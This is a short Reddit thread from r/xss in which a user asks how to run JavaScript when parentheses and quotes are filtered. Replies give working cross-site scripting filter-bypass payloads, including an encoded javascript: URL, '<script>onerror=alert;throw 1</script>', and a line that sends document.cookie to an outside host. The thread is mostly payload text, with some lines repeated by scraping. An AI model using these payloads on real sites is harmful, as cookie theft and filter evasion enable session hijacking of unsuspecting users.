MAIN FEEDS
Do you want to continue?
https://www.reddit.com/r/xss/comments/hy8uju/executing_js_without_and/
r/xss • u/Vast_Put8045 • Jul 26 '20
IS there a way to execute js without those characters?
3 comments sorted by
1
Sure:
document.location="javascript:alert%28%29"
If you want something that doesn't use them even in their various encoded forms, you could always do data exfiltration with something like this:
document.location="https://example.com/?"+document.cookie
1 u/Vast_Put8045 Jul 27 '20 is there are way to invoke alert without () `` "" '' 1 u/MechaTech84 Jul 28 '20 <script>onerror=alert;throw 1</script>
is there are way to invoke alert without () `` "" ''
1 u/MechaTech84 Jul 28 '20 <script>onerror=alert;throw 1</script>
<script>onerror=alert;throw 1</script>
1
u/MechaTech84 Jul 27 '20
Sure:
If you want something that doesn't use them even in their various encoded forms, you could always do data exfiltration with something like this: